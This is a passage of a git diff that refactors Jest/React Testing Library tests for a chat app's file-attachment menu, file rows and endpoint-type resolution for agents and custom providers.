+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
+ });
+
+ it('passes agents endpointType when no agent_id', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
+ });
+
+ it('uses agentData query when agent not in agentsMap', () => {
+ mockAgentQueryData = { provider: 'Moonshot' } as Partial;
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+ });
+ });
+
+ describe('endpointType resolution for non-agents', () => {
+ it('passes custom endpointType for a custom endpoint', () => {
+ renderComponent({ endpoint: 'Moonshot' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('passes openAI endpointType for openAI endpoint', () => {
+ renderComponent({ endpoint: EModelEndpoint.openAI });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
+ });
+ });
+
+ describe('consistency: same endpoint type for direct vs agent usage', () => {
+ it('resolves Moonshot the same way whether used directly or through an agent', () => {
+ renderComponent({ endpoint: 'Moonshot' });
+ const directType = mockAttachFileMenuProps.endpointType;
+
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ const agentType = mockAttachFileMenuProps.endpointType;
+
+ expect(directType).toBe(agentType);
+ });
+ });
+
+ describe('upload disabled rendering', () => {
+ it('renders null for agents endpoint when fileConfig.agents.disabled is true', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { disabled: true },
+ },
+ });
+ const { container } = renderComponent({
+ endpoint: EModelEndpoint.agents,
+ agent_id: 'agent-1',
+ });
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('renders null for agents endpoint when disableInputs is true', () => {
+ const { container } = renderComponent(
+ { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' },
+ true,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('renders AttachFile for assistants endpoint when not disabled', () => {
+ renderComponent({ endpoint: EModelEndpoint.assistants });
+ expect(screen.getByTestId('attach-file')).toBeInTheDocument();
+ });
+
+ it('renders AttachFileMenu when provider-specific config overrides agents disabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { disabled: false, fileLimit: 5 },
+ [EModelEndpoint.agents]: { disabled: true },
+ },
+ });
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+ });
+
+ it('renders null for assistants endpoint when fileConfig.assistants.disabled is true', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.assistants]: { disabled: true },
+ },
+ });
+ const { container } = renderComponent({
+ endpoint: EModelEndpoint.assistants,
+ });
+ expect(container.innerHTML).toBe('');
+ });
+ });
+
+ describe('endpointFileConfig resolution', () => {
+ it('passes Moonshot-specific file config for agent with Moonshot provider', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+ expect(config?.fileLimit).toBe(5);
+ });
+
+ it('passes agents file config when agent has no specific provider config', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+ expect(config?.fileLimit).toBe(10);
+ });
+
+ it('passes agents file config when no agent provider', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents });
+ const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+ expect(config?.fileLimit).toBe(20);
+ });
+ });
+});
diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
index d3f0fb65bc..cf08721207 100644
--- a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
@@ -1,12 +1,10 @@
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
-import '@testing-library/jest-dom';
import { RecoilRoot } from 'recoil';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
-import { EModelEndpoint } from 'librechat-data-provider';
+import { EModelEndpoint, Providers } from 'librechat-data-provider';
import AttachFileMenu from '../AttachFileMenu';
-// Mock all the hooks
jest.mock('~/hooks', () => ({
useAgentToolPermissions: jest.fn(),
useAgentCapabilities: jest.fn(),
@@ -25,53 +23,45 @@ jest.mock('~/data-provider', () => ({
}));
jest.mock('~/components/SharePoint', () => ({
- SharePointPickerDialog: jest.fn(() => null),
+ SharePointPickerDialog: () => null,
}));
jest.mock('@librechat/client', () => {
- const React = jest.requireActual('react');
+ // eslint-disable-next-line @typescript-eslint/no-require-imports
+ const R = require('react');
return {
- FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => (
-
-
- {children}
-
- )),
- TooltipAnchor: ({ render }: any) => render,
- DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => {
- const handleTriggerClick = () => {
- if (setIsOpen) {
- setIsOpen(!isOpen);
- }
- };
-
- return (
-
-
{trigger}
- {isOpen && (
-
- {items.map((item: any, idx: number) => (
-
- {item.label}
-
- ))}
-
- )}
-
- );
- },
- AttachmentIcon: () => 📎 ,
- SharePointIcon: () => SP ,
+ FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children),
+ TooltipAnchor: (props) => props.render,
+ DropdownPopup: (props) =>
+ R.createElement(
+ 'div',
+ null,
+ R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger),
+ props.isOpen &&
+ R.createElement(
+ 'div',
+ { 'data-testid': 'dropdown-menu' },
+ props.items.map((item, idx) =>
+ R.createElement(
+ 'button',
+ { key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` },
+ item.label,
+ ),
+ ),
+ ),
+ ),
+ AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }),
+ SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }),
};
});
-jest.mock('@ariakit/react', () => ({
- MenuButton: ({ children, onClick, disabled, ...props }: any) => (
-
- {children}
-
- ),
-}));
+jest.mock('@ariakit/react', () => {
+ // eslint-disable-next-line @typescript-eslint/no-require-imports
+ const R = require('react');
+ return {
+ MenuButton: (props) => R.createElement('button', props, props.children),
+ };
+});
const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
@@ -83,558 +73,283 @@ const mockUseSharePointFileHandling = jest.requireMock(
).default;
const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
-describe('AttachFileMenu', () => {
- const queryClient = new QueryClient({
- defaultOptions: {
- queries: { retry: false },
- },
- });
+const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
- const mockHandleFileChange = jest.fn();
-
- beforeEach(() => {
- jest.clearAllMocks();
-
- // Default mock implementations
- mockUseLocalize.mockReturnValue((key: string) => {
- const translations: Record = {
- com_ui_upload_provider: 'Upload to Provider',
- com_ui_upload_image_input: 'Upload Image',
- com_ui_upload_ocr_text: 'Upload OCR Text',
- com_ui_upload_file_search: 'Upload for File Search',
- com_ui_upload_code_files: 'Upload Code Files',
- com_sidepanel_attach_files: 'Attach Files',
- com_files_upload_sharepoint: 'Upload from SharePoint',
- };
- return translations[key] || key;
- });
-
- mockUseAgentCapabilities.mockReturnValue({
- contextEnabled: false,
- fileSearchEnabled: false,
- codeEnabled: false,
- });
-
- mockUseGetAgentsConfig.mockReturnValue({
- agentsConfig: {
- capabilities: {
- contextEnabled: false,
- fileSearchEnabled: false,
- codeEnabled: false,
- },
- },
- });
-
- mockUseFileHandling.mockReturnValue({
- handleFileChange: mockHandleFileChange,
- });
-
- mockUseSharePointFileHandling.mockReturnValue({
- handleSharePointFiles: jest.fn(),
- isProcessing: false,
- downloadProgress: 0,
- });
-
- mockUseGetStartupConfig.mockReturnValue({
- data: {
- sharePointFilePickerEnabled: false,
- },
- });
-
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: undefined,
- });
- });
-
- const renderAttachFileMenu = (props: any = {}) => {
- return render(
-
-
-
-
- ,
- );
+function setupMocks(overrides: { provider?: string } = {}) {
+ const translations: Record = {
+ com_ui_upload_provider: 'Upload to Provider',
+ com_ui_upload_image_input: 'Upload Image',
+ com_ui_upload_ocr_text: 'Upload as Text',
+ com_ui_upload_file_search: 'Upload for File Search',
+ com_ui_upload_code_files: 'Upload Code Files',
+ com_sidepanel_attach_files: 'Attach Files',
+ com_files_upload_sharepoint: 'Upload from SharePoint',
};
-
- describe('Basic Rendering', () => {
- it('should render the attachment button', () => {
- renderAttachFileMenu();
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
- });
-
- it('should be disabled when disabled prop is true', () => {
- renderAttachFileMenu({ disabled: true });
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeDisabled();
- });
-
- it('should not be disabled when disabled prop is false', () => {
- renderAttachFileMenu({ disabled: false });
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).not.toBeDisabled();
- });
+ mockUseLocalize.mockReturnValue((key: string) => translations[key] || key);
+ mockUseAgentCapabilities.mockReturnValue({
+ contextEnabled: false,
+ fileSearchEnabled: false,
+ codeEnabled: false,
});
+ mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} });
+ mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() });
+ mockUseSharePointFileHandling.mockReturnValue({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ });
+ mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } });
+ mockUseAgentToolPermissions.mockReturnValue({
+ fileSearchAllowedByAgent: false,
+ codeAllowedByAgent: false,
+ provider: overrides.provider ?? undefined,
+ });
+}
- describe('Provider Detection Fix - endpointType Priority', () => {
- it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders
- });
+function renderMenu(props: Record = {}) {
+ return render(
+
+
+
+
+ ,
+ );
+}
- renderAttachFileMenu({
- endpoint: 'litellm',
- endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders
- });
+function openMenu() {
+ fireEvent.click(screen.getByRole('button', { name: /attach file options/i }));
+}
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
+describe('AttachFileMenu', () => {
+ beforeEach(jest.clearAllMocks);
- // With the fix, should show "Upload to Provider" because endpointType is checked first
+ describe('Upload to Provider vs Upload Image', () => {
+ it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => {
+ setupMocks({ provider: 'Moonshot' });
+ renderMenu({ endpointType: EModelEndpoint.custom });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
});
- it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: 'my-custom-gateway',
- });
-
- renderAttachFileMenu({
- endpoint: 'my-custom-gateway',
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ it('shows "Upload to Provider" when endpointType is openAI', () => {
+ setupMocks({ provider: EModelEndpoint.openAI });
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('should show Upload Image when neither endpointType nor provider support documents', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: 'unsupported-provider',
- });
+ it('shows "Upload to Provider" when endpointType is anthropic', () => {
+ setupMocks({ provider: EModelEndpoint.anthropic });
+ renderMenu({ endpointType: EModelEndpoint.anthropic });
+ openMenu();
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ });
- renderAttachFileMenu({
- endpoint: 'unsupported-provider',
- endpointType: 'unsupported-endpoint' as any,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
+ it('shows "Upload to Provider" when endpointType is google', () => {
+ setupMocks({ provider: Providers.GOOGLE });
+ renderMenu({ endpointType: EModelEndpoint.google });
+ openMenu();
+ expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ });
+ it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => {
+ setupMocks();
+ renderMenu({ endpointType: EModelEndpoint.agents });
+ openMenu();
expect(screen.getByText('Upload Image')).toBeInTheDocument();
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
});
- it('should fallback to currentProvider when endpointType is undefined', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.openAI,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.openAI,
- endpointType: undefined,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
+ it('shows "Upload Image" when neither endpointType nor provider supports documents', () => {
+ setupMocks({ provider: 'unknown-provider' });
+ renderMenu({ endpointType: 'unknown-type' });
+ openMenu();
+ expect(screen.getByText('Upload Image')).toBeInTheDocument();
+ });
+ it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => {
+ setupMocks({ provider: EModelEndpoint.azureOpenAI });
+ renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('should fallback to currentProvider when endpointType is null', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.anthropic,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.anthropic,
- endpointType: null,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => {
+ setupMocks({ provider: EModelEndpoint.azureOpenAI });
+ renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false });
+ openMenu();
+ expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
});
- describe('Supported Providers', () => {
- const supportedProviders = [
- { name: 'OpenAI', endpoint: EModelEndpoint.openAI },
- { name: 'Anthropic', endpoint: EModelEndpoint.anthropic },
- { name: 'Google', endpoint: EModelEndpoint.google },
- { name: 'Custom', endpoint: EModelEndpoint.custom },
- ];
-
- supportedProviders.forEach(({ name, endpoint }) => {
- it(`should show Upload to Provider for ${name}`, () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: endpoint,
- });
-
- renderAttachFileMenu({
- endpoint,
- endpointType: endpoint,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ describe('agent provider resolution scenario', () => {
+ it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => {
+ setupMocks({ provider: 'Moonshot' });
+ renderMenu({
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.custom,
});
- });
-
- it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.azureOpenAI,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.azureOpenAI,
- endpointType: EModelEndpoint.azureOpenAI,
- useResponsesApi: true,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
- it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.azureOpenAI,
+ it('shows "Upload Image" when agents endpoint has no resolved provider type', () => {
+ setupMocks();
+ renderMenu({
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
});
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.azureOpenAI,
- endpointType: EModelEndpoint.azureOpenAI,
- useResponsesApi: false,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
+ openMenu();
expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
});
+ describe('Basic Rendering', () => {
+ it('renders the attachment button', () => {
+ setupMocks();
+ renderMenu();
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
+ });
+
+ it('is disabled when disabled prop is true', () => {
+ setupMocks();
+ renderMenu({ disabled: true });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled();
+ });
+
+ it('is not disabled when disabled prop is false', () => {
+ setupMocks();
+ renderMenu({ disabled: false });
+ expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled();
+ });
+ });
+
describe('Agent Capabilities', () => {
- it('should show OCR Text option when context is enabled', () => {
+ it('shows OCR Text option when context is enabled', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true,
fileSearchEnabled: false,
codeEnabled: false,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
+ expect(screen.getByText('Upload as Text')).toBeInTheDocument();
});
- it('should show File Search option when enabled and allowed by agent', () => {
+ it('shows File Search option when enabled and allowed by agent', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: true,
codeEnabled: false,
});
-
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true,
codeAllowedByAgent: false,
provider: undefined,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
});
- it('should NOT show File Search when enabled but not allowed by agent', () => {
+ it('does NOT show File Search when enabled but not allowed by agent', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: true,
codeEnabled: false,
});
-
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: undefined,
- });
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
});
- it('should show Code Files option when enabled and allowed by agent', () => {
+ it('shows Code Files option when enabled and allowed by agent', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: false,
codeEnabled: true,
});
-
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: true,
provider: undefined,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
});
- it('should show all options when all capabilities are enabled', () => {
+ it('shows all options when all capabilities are enabled', () => {
+ setupMocks();
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true,
fileSearchEnabled: true,
codeEnabled: true,
});
-
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true,
codeAllowedByAgent: true,
provider: undefined,
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
+ expect(screen.getByText('Upload as Text')).toBeInTheDocument();
expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
});
});
describe('SharePoint Integration', () => {
- it('should show SharePoint option when enabled', () => {
+ it('shows SharePoint option when enabled', () => {
+ setupMocks();
mockUseGetStartupConfig.mockReturnValue({
- data: {
- sharePointFilePickerEnabled: true,
- },
+ data: { sharePointFilePickerEnabled: true },
});
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
});
- it('should NOT show SharePoint option when disabled', () => {
- mockUseGetStartupConfig.mockReturnValue({
- data: {
- sharePointFilePickerEnabled: false,
- },
- });
-
- renderAttachFileMenu({
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
+ it('does NOT show SharePoint option when disabled', () => {
+ setupMocks();
+ renderMenu({ endpointType: EModelEndpoint.openAI });
+ openMenu();
expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
});
});
describe('Edge Cases', () => {
- it('should handle undefined endpoint and provider gracefully', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: undefined,
- });
-
- renderAttachFileMenu({
- endpoint: undefined,
- endpointType: undefined,
- });
-
+ it('handles undefined endpoint and provider gracefully', () => {
+ setupMocks();
+ renderMenu({ endpoint: undefined, endpointType: undefined });
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument();
fireEvent.click(button);
-
- // Should show Upload Image as fallback
expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
- it('should handle null endpoint and provider gracefully', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: null,
- });
-
- renderAttachFileMenu({
- endpoint: null,
- endpointType: null,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
+ it('handles null endpoint and provider gracefully', () => {
+ setupMocks();
+ renderMenu({ endpoint: null, endpointType: null });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
- it('should handle missing agentId gracefully', () => {
- renderAttachFileMenu({
- agentId: undefined,
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
+ it('handles missing agentId gracefully', () => {
+ setupMocks();
+ renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
- it('should handle empty string agentId', () => {
- renderAttachFileMenu({
- agentId: '',
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- expect(button).toBeInTheDocument();
- });
- });
-
- describe('Google Provider Special Case', () => {
- it('should use image_document_video_audio file type for Google provider', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.google,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.google,
- endpointType: EModelEndpoint.google,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- const uploadProviderButton = screen.getByText('Upload to Provider');
- expect(uploadProviderButton).toBeInTheDocument();
-
- // Click the upload to provider option
- fireEvent.click(uploadProviderButton);
-
- // The file input should have been clicked (indirectly tested through the implementation)
- });
-
- it('should use image_document file type for non-Google providers', () => {
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.openAI,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.openAI,
- endpointType: EModelEndpoint.openAI,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- const uploadProviderButton = screen.getByText('Upload to Provider');
- expect(uploadProviderButton).toBeInTheDocument();
- fireEvent.click(uploadProviderButton);
-
- // Implementation detail - image_document type is used
- });
- });
-
- describe('Regression Tests', () => {
- it('should not break the previous behavior for direct provider attachments', () => {
- // When using a direct supported provider (not through a gateway)
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.anthropic,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.anthropic,
- endpointType: EModelEndpoint.anthropic,
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
- });
-
- it('should maintain correct priority when both are supported', () => {
- // Both endpointType and provider are supported, endpointType should be checked first
- mockUseAgentToolPermissions.mockReturnValue({
- fileSearchAllowedByAgent: false,
- codeAllowedByAgent: false,
- provider: EModelEndpoint.google,
- });
-
- renderAttachFileMenu({
- endpoint: EModelEndpoint.google,
- endpointType: EModelEndpoint.openAI, // Different but both supported
- });
-
- const button = screen.getByRole('button', { name: /attach file options/i });
- fireEvent.click(button);
-
- // Should still work because endpointType (openAI) is supported
- expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
+ it('handles empty string agentId', () => {
+ setupMocks();
+ renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI });
+ expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
});
});
diff --git a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
index 90c1c3a7b5..ccfa19ffc8 100644
--- a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx
@@ -21,6 +21,7 @@ jest.mock('~/utils', () => ({
logger: {
log: jest.fn(),
},
+ getCachedPreview: jest.fn(() => undefined),
}));
jest.mock('../Image', () => {
@@ -95,7 +96,7 @@ describe('FileRow', () => {
};
describe('Image URL Selection Logic', () => {
- it('should use filepath instead of preview when progress is 1 (upload complete)', () => {
+ it('should prefer cached preview over filepath when upload is complete', () => {
const file = createMockFile({
file_id: 'uploaded-file',
preview: 'blob:http://localhost:3080/temp-preview',
@@ -109,8 +110,7 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('/images/user123/uploaded-file__image.png');
- expect(imageUrl).not.toContain('blob:');
+ expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview');
});
it('should use preview when progress is less than 1 (uploading)', () => {
@@ -147,7 +147,7 @@ describe('FileRow', () => {
expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
});
- it('should use filepath when both preview and filepath exist and progress is exactly 1', () => {
+ it('should prefer preview over filepath when both exist and progress is 1', () => {
const file = createMockFile({
file_id: 'complete-file',
preview: 'blob:http://localhost:3080/old-blob',
@@ -161,7 +161,7 @@ describe('FileRow', () => {
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
- expect(imageUrl).toBe('/images/user123/complete-file__image.png');
+ expect(imageUrl).toBe('blob:http://localhost:3080/old-blob');
});
});
@@ -284,7 +284,7 @@ describe('FileRow', () => {
const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
expect(urls).toContain('blob:http://localhost:3080/preview-1');
- expect(urls).toContain('/images/user123/file-2__image.png');
+ expect(urls).toContain('blob:http://localhost:3080/preview-2');
});
it('should deduplicate files with the same file_id', () => {
@@ -321,10 +321,10 @@ describe('FileRow', () => {
});
});
- describe('Regression: Blob URL Bug Fix', () => {
- it('should NOT use revoked blob URL after upload completes', () => {
+ describe('Preview Cache Integration', () => {
+ it('should prefer preview blob URL over filepath for zero-flicker rendering', () => {
const file = createMockFile({
- file_id: 'regression-test',
+ file_id: 'cache-test',
preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
filepath:
